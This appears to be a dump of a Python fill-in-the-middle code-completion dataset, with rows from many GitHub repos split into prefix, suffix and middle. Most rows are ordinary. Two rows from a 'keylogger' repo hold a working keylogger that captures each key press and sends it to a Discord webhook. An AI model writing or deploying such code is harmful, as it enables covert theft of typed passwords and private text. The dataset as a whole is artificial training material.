text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_suffix|> """
result = self.nlp.ner(query_string)[0]
words = result['word']
tags = result['tag']
entities = result['entity']
return (words, entities, tags)
def get_entity(self, parsed_words, index_tuple):
"""
获取已识别的实体
采用 filter
... | code_fim | hard | {
"lang": "python",
"repo": "tongxindao/shiyanlou",
"path": "/shiyanlou_cs642-966a5463b4/ibot.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: nir-takemi/text_verifier path: /textverifier/text_verifier.py
"""TextVerifier Class."""
import sys
import os
import re
import glob
import datetime
import yaml
class TextVerifier:
_recursive = False
_config = None
_pattern = None
_target_files = []
def __init__(self, targe... | code_fim | hard | {
"lang": "python",
"repo": "nir-takemi/text_verifier",
"path": "/textverifier/text_verifier.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # tight
matched_list = re.findall(date_pattern, text)
diff_list = [e for e in matched_list_easy if e not in matched_list]
err_list = []
is_err = len(diff_list) > 0
if is_err:
for diff in diff_list:
err_list.append(self._... | code_fim | hard | {
"lang": "python",
"repo": "nir-takemi/text_verifier",
"path": "/textverifier/text_verifier.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: onik282/Python path: /L5/4.py
rus = {'One' : 'Один', 'Two' : 'Два', 'Three' : 'Три', 'Four' : 'Четыре'}
new_file<|fim_suffix|>i.split(' ', 1)
new_file.append(rus[i[0]] + ' ' + i[1])
print(new_file)
with open('trans2.txt', 'w') as file_obj_2:
file_obj_2.writelines(new_file)<|fim_... | code_fim | medium | {
"lang": "python",
"repo": "onik282/Python",
"path": "/L5/4.py",
"mode": "psm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_suffix|>e)
with open('trans2.txt', 'w') as file_obj_2:
file_obj_2.writelines(new_file)<|fim_prefix|># repo: onik282/Python path: /L5/4.py
rus = {'One' : 'Один', 'Two' : 'Два', 'Three' : 'Три', 'Four' : 'Четыре'}
new_file<|fim_middle|> = []
with open('trans.txt', 'r') as file_obj:
for i in file_obj:
... | code_fim | medium | {
"lang": "python",
"repo": "onik282/Python",
"path": "/L5/4.py",
"mode": "spm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_suffix|>#entrada-------------------------------------------------------------
def planos(nome,plano, urgencia, l):
if plano == "premium": plano = 10
elif plano == "diamante": plano = 9
elif plano == "ouro": plano = 8
elif plano == "prata": plano = 7
elif plano == "bronze": plano = 6
eli... | code_fim | hard | {
"lang": "python",
"repo": "TaisSantana/Codes-Python-",
"path": "/as prioridades do hospital cura se puder pagar.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: TaisSantana/Codes-Python- path: /as prioridades do hospital cura se puder pagar.py
def rearranjar(l):
return [-l[0],-l[1],l[2]]
def partition(l, p, r):
pivot = l[r] #ultimo elemento da lista
i = p-1#inicio da janelinha
for j in range(p,r): #limite da janelinha
if rearranja... | code_fim | hard | {
"lang": "python",
"repo": "TaisSantana/Codes-Python-",
"path": "/as prioridades do hospital cura se puder pagar.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> @classmethod
def _td_fup(cls, x):
return (cls._td_args['up'][0] *
(cls._td_args['up'][3] * (x-cls._td_args['up'][1]))**2 *
np.exp(-(x-cls._td_args['up'][1])/cls._td_args['up'][2]))
def tunnel_diode(self, signal):
"""
Calculate a signal a... | code_fim | hard | {
"lang": "python",
"repo": "bhokansonfasig/pyrex",
"path": "/pyrex/custom/ara/antenna.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bhokansonfasig/pyrex path: /pyrex/custom/ara/antenna.py
lity and the polarization gain depending on the provided
parameters. Subclasses may wish to overwrite this function if the
full antenna response cannot be divided nicely into the described
pieces.
Parameters
... | code_fim | hard | {
"lang": "python",
"repo": "bhokansonfasig/pyrex",
"path": "/pyrex/custom/ara/antenna.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bhokansonfasig/pyrex path: /pyrex/custom/ara/antenna.py
irections. The first and second elements should
contain 3-D arrays of the antenna response model in the theta and phi
polarizations, respectively, as a function of frequency (axis 0),
zenith (axis 1), and azimuth (axi... | code_fim | hard | {
"lang": "python",
"repo": "bhokansonfasig/pyrex",
"path": "/pyrex/custom/ara/antenna.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: akarelin/PyISY path: /PyISY/Programs/__init__.py
from ..constants import _empty_time
from datetime import datetime
from .folder import Folder
from .program import Program
from ..Nodes import NodeIterator as ProgramIterator
from time import sleep
from xml.dom import minidom
class Progra... | code_fim | hard | {
"lang": "python",
"repo": "akarelin/PyISY",
"path": "/PyISY/Programs/__init__.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __str__(self):
""" Returns a string representation of the program manager. """
if self.root is None:
return 'Folder <root>'
else:
ind = self.pids.index(self.root)
if self.ptypes[ind] == 'folder':
return 'Folder (' +... | code_fim | hard | {
"lang": "python",
"repo": "akarelin/PyISY",
"path": "/PyISY/Programs/__init__.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: shumaojie/canopen-rpi path: /CANopen.py
TIME_STAMP = 0x2
FUNCTION_CODE_TPDO1 = 0x3
FUNCTION_CODE_RPDO1 = 0x4
FUNCTION_CODE_TPDO2 = 0x5
FUNCTION_CODE_RPDO2 = 0x6
FUNCTION_CODE_TPDO3 = 0x7
FUNCTION_CODE_RPDO3 = 0x8
FUNCTION_CODE_TPDO4 = 0x9
FUNCTION_CODE_RPDO4 = 0xA
FUNCTION_CODE_SDO_TX = 0xB
FUNCT... | code_fim | hard | {
"lang": "python",
"repo": "shumaojie/canopen-rpi",
"path": "/CANopen.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __setitem__(self, subindex, value):
if type(subindex) is not int:
raise TypeError("CANopen object sub-index must be an integer")
if subindex < 0 or subindex >= 2 ** 8:
raise IndexError("CANopen object sub-index must be a positive 8-bit integer")
if t... | code_fim | hard | {
"lang": "python",
"repo": "shumaojie/canopen-rpi",
"path": "/CANopen.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __setitem__(self, index, obj):
if type(index) is not int:
raise TypeError("CANopen object dictionary index must be an integer")
if index < 0 or index >= 2 ** 16:
raise IndexError("CANopen object dictionary index must be a positive 16-bit integer")
if... | code_fim | hard | {
"lang": "python",
"repo": "shumaojie/canopen-rpi",
"path": "/CANopen.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>print(f"Current balance {ray.get(account_actor.balance.remote())}")
print(f"New balance {ray.get(account_actor.withdraw.remote(40.))}")
try:
print(f"New balance {ray.get(account_actor.withdraw.remote(-40.))}")
except Exception as e:
print(f"Oops! {e} occurred.")
print(f"New balance {ray.get(accou... | code_fim | hard | {
"lang": "python",
"repo": "scalingpythonml/scalingpythonml",
"path": "/ray_examples/actors/simple_account.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>#tag::make_named_actor[]
account_actor = Account.options(name='Account')\
.remote(balance = 100.,minimal_balance=20.)
#end::make_named_actor[]
#tag::make_detached_named_actor[]
account_actor = Account.options(name='Account', lifetime='detached')\
.remote(balance = 100.,minimal_balance=20.)
#end::... | code_fim | hard | {
"lang": "python",
"repo": "scalingpythonml/scalingpythonml",
"path": "/ray_examples/actors/simple_account.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: scalingpythonml/scalingpythonml path: /ray_examples/actors/simple_account.py
import ray
# Start Ray
ray.init()
# Actor using the decorator
#tag::simple_remote_actor_creation[]
@ray.remote
class Account:
def __init__(self, balance: float, minimal_balance: float):
self.minimal = minim... | code_fim | hard | {
"lang": "python",
"repo": "scalingpythonml/scalingpythonml",
"path": "/ray_examples/actors/simple_account.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jiahuei/test-caption-actions path: /caption_vae/utils/losses.py
# -*- coding: utf-8 -*-
"""
Created on 16 Sep 2020 15:00:29
@author: jiahuei
"""
import torch
from torch import nn
class RewardCriterion(nn.Module):
def __init__(self):
super(RewardCriterion, self).__init__()
def f... | code_fim | hard | {
"lang": "python",
"repo": "jiahuei/test-caption-actions",
"path": "/caption_vae/utils/losses.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> # truncate to the same size
target = target[:, :input.size(1)]
mask = mask[:, :input.size(1)]
input = input.contiguous().view(-1, input.size(-1))
target = target.contiguous().view(-1)
mask = mask.contiguous().view(-1)
# assert x.size(1) == self.siz... | code_fim | hard | {
"lang": "python",
"repo": "jiahuei/test-caption-actions",
"path": "/caption_vae/utils/losses.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: B-ROY/TESTGIT path: /app/permission/templatetags/permission_tags.py
#encoding=utf8
from django import template
from django.conf import settings
import copy
import re
from app.permission.models import PagePermission,UserPerms,GroupPerms
register = template.Library()
def has_perm(perm_codes, pa... | code_fim | hard | {
"lang": "python",
"repo": "B-ROY/TESTGIT",
"path": "/app/permission/templatetags/permission_tags.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
<li class="nav-header">Sidebar</li>
<li class="active"><a href="#">Link</a></li>
<li><a href="#">Link</a></li>
<li class="nav-header">Sidebar</li>
<li><a href="#">Link</a></li>
<li><a... | code_fim | hard | {
"lang": "python",
"repo": "B-ROY/TESTGIT",
"path": "/app/permission/templatetags/permission_tags.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>def get_token_images(obs_cell):
if obs_cell[LOCKED_ROOM]:
yield TOKEN_IMAGES[LOCKED_ROOM]
if obs_cell[UNLOCKED_ROOM]:
yield TOKEN_IMAGES[UNLOCKED_ROOM]
if obs_cell[BOUNDARY]:
yield TOKEN_IMAGES[BOUNDARY]
if obs_cell[PLAYER]:
yield TOKEN_IMAGES[PLAYER]
if... | code_fim | hard | {
"lang": "python",
"repo": "tomsilver/pddlgym",
"path": "/pddlgym/rendering/doors.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: tomsilver/pddlgym path: /pddlgym/rendering/doors.py
from .utils import get_asset_path, render_from_layout
from collections import defaultdict
import matplotlib.pyplot as plt
import numpy as np
NUM_OBJECTS = 5
PLAYER, LOCKED_ROOM, UNLOCKED_ROOM, KEY, BOUNDARY = range(NUM_OBJECTS)
TOKEN_IMAGES... | code_fim | hard | {
"lang": "python",
"repo": "tomsilver/pddlgym",
"path": "/pddlgym/rendering/doors.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> if fo < bestFitness: #checks if current fo value is lower than current bestFitness.
bestFitness = fo
goodValues.append(x) #if fo is lower that bestFitness this will add the x-value to the goodValues list
goodValues.append(y) #if fo is lower that bes... | code_fim | hard | {
"lang": "python",
"repo": "XecusM/Heuristic",
"path": "/Tabu Search.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: XecusM/Heuristic path: /Tabu Search.py
import random
#These are the global variables
valueRange = range(-100, 100) #the total range of values that a given variable can take
goodValues = [] #list of x and y values that give "bestFitness" by the tabu_search function
winners = []... | code_fim | hard | {
"lang": "python",
"repo": "XecusM/Heuristic",
"path": "/Tabu Search.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> assert "4" == out
for i in range(0, 10):
if i != 4:
assert str(i) != out
if __name__ == '__main__':
check(below_zero)<|fim_prefix|># repo: SquareandCompass/code-align-evals-data path: /alignment/find_bug/below_zero.py
from typing import List
def below_zero(operations: L... | code_fim | medium | {
"lang": "python",
"repo": "SquareandCompass/code-align-evals-data",
"path": "/alignment/find_bug/below_zero.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: SquareandCompass/code-align-evals-data path: /alignment/find_bug/below_zero.py
from typing import List
def below_zero(operations: List[int]) -> bool:
""" You're given a list of deposit and withdrawal operations on a bank account that starts with
zero balance. Your task is to detect if a... | code_fim | medium | {
"lang": "python",
"repo": "SquareandCompass/code-align-evals-data",
"path": "/alignment/find_bug/below_zero.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> data = s.recv(4096)
try:
data = data.decode("utf-8")
except:
# print(repr(data))
#print("-------------------------------------------------------------------------------")
continue
try:
root=ET.fromstring(data[1:])
print(root)
... | code_fim | hard | {
"lang": "python",
"repo": "meetakshi253/Eyetastic",
"path": "/gazetest.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>keyboard.on_press_key('alt',onaltpres)
keyboard.on_press_key('w',onwpres)
keyboard.on_release_key('alt',onaltrel)
keyboard.on_release_key('w',onwrel)
keyboard.on_press_key('s',onspres)
keyboard.on_release_key('s',onsrel)
keyboard.on_press_key('a',onapres)
keyboard.on_release_key('a',onarel)
si... | code_fim | hard | {
"lang": "python",
"repo": "meetakshi253/Eyetastic",
"path": "/gazetest.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: meetakshi253/Eyetastic path: /gazetest.py
import socket
import xml.etree.ElementTree as ET
import pygetwindow as pgw
import keyboard
import mouse
import time
#Run this file after running the gazepointer application
alt_pressed = False
w_pressed = False
s_pressed = False
a_pressed = Fals... | code_fim | hard | {
"lang": "python",
"repo": "meetakshi253/Eyetastic",
"path": "/gazetest.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>ºC em fahrenheit é de {} ºF'.format(x, F))<|fim_prefix|># repo: BelfortJoao/Curso-phyton-1-2-3 path: /codes/Ex014.py
print('conversor de temperaturas')
x = int(input(' Qual a temperatura em ºC? '))
F <|fim_middle|>= x* 9/5 + 32
print(' a temperatura de {} | code_fim | easy | {
"lang": "python",
"repo": "BelfortJoao/Curso-phyton-1-2-3",
"path": "/codes/Ex014.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: BelfortJoao/Curso-phyton-1-2-3 path: /codes/Ex014.py
print('conversor de temperaturas')
x = in<|fim_suffix|>ºC em fahrenheit é de {} ºF'.format(x, F))<|fim_middle|>t(input(' Qual a temperatura em ºC? '))
F = x* 9/5 + 32
print(' a temperatura de {} | code_fim | medium | {
"lang": "python",
"repo": "BelfortJoao/Curso-phyton-1-2-3",
"path": "/codes/Ex014.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>= x* 9/5 + 32
print(' a temperatura de {} ºC em fahrenheit é de {} ºF'.format(x, F))<|fim_prefix|># repo: BelfortJoao/Curso-phyton-1-2-3 path: /codes/Ex014.py
print('conversor de temperaturas')
x = in<|fim_middle|>t(input(' Qual a temperatura em ºC? '))
F | code_fim | easy | {
"lang": "python",
"repo": "BelfortJoao/Curso-phyton-1-2-3",
"path": "/codes/Ex014.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>@register.simple_tag
def getUserStatus(username):
try:
user = auth.models.User.objects.get(username = username)
if user.is_active or user.is_superuser:
return '<span class="label label-success">Enable</span>'
else:
return '<span class="label label-warnin... | code_fim | hard | {
"lang": "python",
"repo": "haihua-sysu/onlinejudge",
"path": "/web/index/templatetags/my_tags.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: haihua-sysu/onlinejudge path: /web/index/templatetags/my_tags.py
from django import template
from datetime import datetime
from submission.models import Submission
from problemset.models import Problem
from stars.models import Star
from django.contrib import auth
from ojutility.func import *
imp... | code_fim | hard | {
"lang": "python",
"repo": "haihua-sysu/onlinejudge",
"path": "/web/index/templatetags/my_tags.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: tox-dev/tox path: /tests/config/loader/ini/conftest.py
from __future__ import annotations
from configparser import ConfigParser
from typing import TYPE_CHECKING, Callable
import pytest
if TYPE_CHECKING:
from pathlib import Path
<|fim_suffix|> filename = tmp_path / "demo.ini"
... | code_fim | medium | {
"lang": "python",
"repo": "tox-dev/tox",
"path": "/tests/config/loader/ini/conftest.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
@pytest.fixture()
def mk_ini_conf(tmp_path: Path) -> Callable[[str], ConfigParser]:
def _func(raw: str) -> ConfigParser:
filename = tmp_path / "demo.ini"
filename.write_bytes(raw.encode("utf-8")) # win32: avoid CR normalization - what you pass is what you get
parser = ConfigP... | code_fim | medium | {
"lang": "python",
"repo": "tox-dev/tox",
"path": "/tests/config/loader/ini/conftest.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: loads/loads-broker path: /loadsbroker/extensions.py
til import join_host_port, retry
SUPPORT_DIR = os.path.join(os.path.dirname(__file__), "support")
with open(os.path.join(SUPPORT_DIR, "telegraf.conf"), "r") as f:
TELEGRAF_CONF = f.read()
MONITOR_DASHBOARD_FN = "monitor-dashboard.json"
wi... | code_fim | hard | {
"lang": "python",
"repo": "loads/loads-broker",
"path": "/loadsbroker/extensions.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __init__(self, info) -> None:
self.info = info
async def start(self,
collection: EC2Collection,
run_id: str,
options: InfluxDBOptions):
data_source = self.data_source_defaults.copy()
data_source.update(
... | code_fim | hard | {
"lang": "python",
"repo": "loads/loads-broker",
"path": "/loadsbroker/extensions.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> """A Run's managed InfluxDB"""
def __init__(self, info, ssh: SSH, aws_creds: Dict[str, str]) -> None:
self.info = info
self.sshclient = ssh
self.aws_creds = aws_creds
async def start(self, collection: EC2Collection, options: InfluxDBOptions):
await collection.... | code_fim | hard | {
"lang": "python",
"repo": "loads/loads-broker",
"path": "/loadsbroker/extensions.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>class OAITest(unittest.TestCase):
""" Test harvesting. """
def test_oai_harvest(self):
""" Test harvesting. """
exception_raised = False
try:
oai_harvest(url='http://nirvana', directory=tempfile.gettempdir(),
download=download_failed)
... | code_fim | hard | {
"lang": "python",
"repo": "tsolakidis/gluish",
"path": "/test/oai_test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: tsolakidis/gluish path: /test/oai_test.py
# coding: utf-8
"""
OAI harvesting tests.
"""
# pylint: disable=F0401,W0613
from gluish.oai import oai_harvest
import unittest
import tempfile
import random
def download_first_request(url=None, filename=None, **kwargs):
""" Initial download. """
... | code_fim | hard | {
"lang": "python",
"repo": "tsolakidis/gluish",
"path": "/test/oai_test.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """ Test harvesting. """
exception_raised = False
try:
oai_harvest(url='http://nirvana', directory=tempfile.gettempdir(),
download=download_failed)
except RuntimeError:
exception_raised = True
self.assertTrue(exception... | code_fim | medium | {
"lang": "python",
"repo": "tsolakidis/gluish",
"path": "/test/oai_test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>with Listener(on_press=on_press) as listener:
listener.join()<|fim_prefix|># repo: isi-82/keylogger path: /keylogger.py
from dhooks import Webhook
from pynput.keyboard import Key, Listener
<|fim_middle|>hook = Webhook("Webhook-URL")
def on_press(key):
hook.send("```\n"+str(key)+"\n```")
| code_fim | medium | {
"lang": "python",
"repo": "isi-82/keylogger",
"path": "/keylogger.py",
"mode": "spm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: isi-82/keylogger path: /keylogger.py
from dhooks import Webhook
from pynput.keyboard import Key, Listener
<|fim_suffix|> hook.send("```\n"+str(key)+"\n```")
with Listener(on_press=on_press) as listener:
listener.join()<|fim_middle|>hook = Webhook("Webhook-URL")
def on_press(key):
| code_fim | easy | {
"lang": "python",
"repo": "isi-82/keylogger",
"path": "/keylogger.py",
"mode": "psm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_suffix|>class Membership(models.Model):
role_choices = (
("admin", "admin"),
("staff", "staff"),
("read_only", "read_only"),
)
company = models.ForeignKey(Company, on_delete=models.CASCADE)
user = models.ForeignKey(CustomUser, on_delete=models.CASCADE)
role = models.Cha... | code_fim | medium | {
"lang": "python",
"repo": "rajeshr188/django-onex",
"path": "/company/models.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: rajeshr188/django-onex path: /company/models.py
from django.db import models
from users.models import CustomUser
# Create your models here.
class Company(models.Model):
# logo = models.ImageField()
created = models.DateField(auto_now_add=True)
name = models.CharField(max_length=100... | code_fim | hard | {
"lang": "python",
"repo": "rajeshr188/django-onex",
"path": "/company/models.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>lient.get("/new.json")
assert (
response.json().items()
>= {"database": "new", "path": "/new", "tables": []}.items()
)
# Attempting to create the same file again throws an error
response2 = await datasette.client.post(
"/-/new-empty-database-file",
json={"pa... | code_fim | hard | {
"lang": "python",
"repo": "mnckapilan/datasette-app-support",
"path": "/tests/test_new_empty_database_file.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mnckapilan/datasette-app-support path: /tests/test_new_empty_database_file.py
from datasette.app import Datasette
import pytest
@pytest.mark.asyncio
async def test_new_empty_database_file(tmpdir):
datasette = Datasette([], memory=True)
path = str(tmpdir / "new.db")
response = await ... | code_fim | hard | {
"lang": "python",
"repo": "mnckapilan/datasette-app-support",
"path": "/tests/test_new_empty_database_file.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: aaronstevenwhite/SemanticProtoRoleLinkingModel path: /sprolim/experiment.py
class SprolimModelSelection(object):
def __init__(self, data, rolenums=range(2,5)):
self.data = data
self.rolenums = rolenums
def run_train_test(self, train_prop=0.9, init_tolerance=1000., train_... | code_fim | hard | {
"lang": "python",
"repo": "aaronstevenwhite/SemanticProtoRoleLinkingModel",
"path": "/sprolim/experiment.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.train_mods[i][j].fit(tolerance=train_tolerance, gd_init=False, verbose=True)
print
print 'Testing model ', i
print
self.test_mods[i][j] = Sprolim(data=data_test,
initialized_model=self.train_mods[i][j],
... | code_fim | hard | {
"lang": "python",
"repo": "aaronstevenwhite/SemanticProtoRoleLinkingModel",
"path": "/sprolim/experiment.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: CodeJjang/web_dev_course_project path: /state_input_pair.py
import json
from calculator import Calculator
<|fim_suffix|> def __init__(self, state, input):
self.input = input
self.state = None
if state != None:
self.state = Calculator(state['stack'], state['... | code_fim | easy | {
"lang": "python",
"repo": "CodeJjang/web_dev_course_project",
"path": "/state_input_pair.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.input = input
self.state = None
if state != None:
self.state = Calculator(state['stack'], state['display'],
state['is_operator_in_stack'], state['is_stack_head_a_result'], state['is_invalid_input'])<|fim_prefix|># repo: CodeJjang... | code_fim | easy | {
"lang": "python",
"repo": "CodeJjang/web_dev_course_project",
"path": "/state_input_pair.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: wangdy123/mysc path: /server.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import time
from flask import Flask,redirect,Response,request,g
aa="abcde"
app = Flask( __name__, static_url_path = '')
reload( sys )
sys.setdefaultencoding( 'utf-8' )
@app.errorhandler(Exception)
def all... | code_fim | hard | {
"lang": "python",
"repo": "wangdy123/mysc",
"path": "/server.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> print locals(),globals()
#raise Exception,"3333"
return "xxxxxxxxxxxx"
if __name__ == '__main__':
app.run( host = '0.0.0.0', port = 4000 )<|fim_prefix|># repo: wangdy123/mysc path: /server.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import time
from flask import Flask,r... | code_fim | hard | {
"lang": "python",
"repo": "wangdy123/mysc",
"path": "/server.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> fields = ('name', 'body')
translator.register(Block, BlockTranslation)
class PhotoTranslation(TranslationOptions):
fields = ('name',)
translator.register(Photo, PhotoTranslation)
class PageTranslation(TranslationOptions):
fields = ('name', 'slug', 'body', 'menu_name')
translator.register(P... | code_fim | easy | {
"lang": "python",
"repo": "jpic/pescator",
"path": "/pages/translation.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jpic/pescator path: /pages/translation.py
from modeltranslation.translator import translator, TranslationOptions
from .models import Page, Block, Photo
<|fim_suffix|> fields = ('name', 'slug', 'body', 'menu_name')
translator.register(Page, PageTranslation)<|fim_middle|>class BlockTranslatio... | code_fim | hard | {
"lang": "python",
"repo": "jpic/pescator",
"path": "/pages/translation.py",
"mode": "psm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>class PhotoTranslation(TranslationOptions):
fields = ('name',)
translator.register(Photo, PhotoTranslation)
class PageTranslation(TranslationOptions):
fields = ('name', 'slug', 'body', 'menu_name')
translator.register(Page, PageTranslation)<|fim_prefix|># repo: jpic/pescator path: /pages/transl... | code_fim | medium | {
"lang": "python",
"repo": "jpic/pescator",
"path": "/pages/translation.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> batch_size = train_hparams['batch_size'] if 'batch_size' in train_hparams else 4
num_ex_per_class = np.bincount(y_train)
steps_per_epoch = np.min([int(np.ceil(n / (float(batch_size) / num_classes))) for n in num_ex_per_class])
val_steps = int(np.ceil(len(X_val) / float(batch_size)))
... | code_fim | hard | {
"lang": "python",
"repo": "vishalbelsare/seq2tens",
"path": "/medical/evaluations/_sources/experiment_659a53092f0f11d9b0f992d0bd4dcd43.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: vishalbelsare/seq2tens path: /medical/evaluations/_sources/experiment_659a53092f0f11d9b0f992d0bd4dcd43.py
import sys
import os
import copy
import yaml
import numpy as np
import tensorflow as tf
from tensorflow.data.experimental import AUTOTUNE
GPUS = tf.config.list_physical_devices('GPU')
if ... | code_fim | hard | {
"lang": "python",
"repo": "vishalbelsare/seq2tens",
"path": "/medical/evaluations/_sources/experiment_659a53092f0f11d9b0f992d0bd4dcd43.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __init__(
self,
exceptions: Iterable[str] = (
"ThrottlingException",
"TooManyRequestsException",
),
attempt: int = 5,
multiplier: int = 1,
max_delay: int = 100,
exponential_base: int = 2,
) -> None:
self.ex... | code_fim | hard | {
"lang": "python",
"repo": "Liam3851/PyAthena",
"path": "/pyathena/util.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self,
exceptions: Iterable[str] = (
"ThrottlingException",
"TooManyRequestsException",
),
attempt: int = 5,
multiplier: int = 1,
max_delay: int = 100,
exponential_base: int = 2,
) -> None:
self.exceptions = excepti... | code_fim | hard | {
"lang": "python",
"repo": "Liam3851/PyAthena",
"path": "/pyathena/util.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Liam3851/PyAthena path: /pyathena/util.py
# -*- coding: utf-8 -*-
import functools
import logging
import re
import threading
from typing import Any, Callable, Iterable, Pattern, Tuple
import tenacity
from tenacity import after_log, retry_if_exception, stop_after_attempt, wait_exponential
from p... | code_fim | hard | {
"lang": "python",
"repo": "Liam3851/PyAthena",
"path": "/pyathena/util.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> print(keys)
print(unique)
print(background)
if __name__ == '__main__':
show(**COLLS['watchList'], background=True)<|fim_prefix|># repo: aisthesis/opttrack path: /opttrack/test.py
from lib import constants
from lib.indices import COLLS
<|fim_middle|>def show(keys, unique, background):
| code_fim | easy | {
"lang": "python",
"repo": "aisthesis/opttrack",
"path": "/opttrack/test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>if __name__ == '__main__':
show(**COLLS['watchList'], background=True)<|fim_prefix|># repo: aisthesis/opttrack path: /opttrack/test.py
from lib import constants
from lib.indices import COLLS
<|fim_middle|>def show(keys, unique, background):
print(keys)
print(unique)
print(background)
| code_fim | medium | {
"lang": "python",
"repo": "aisthesis/opttrack",
"path": "/opttrack/test.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: aisthesis/opttrack path: /opttrack/test.py
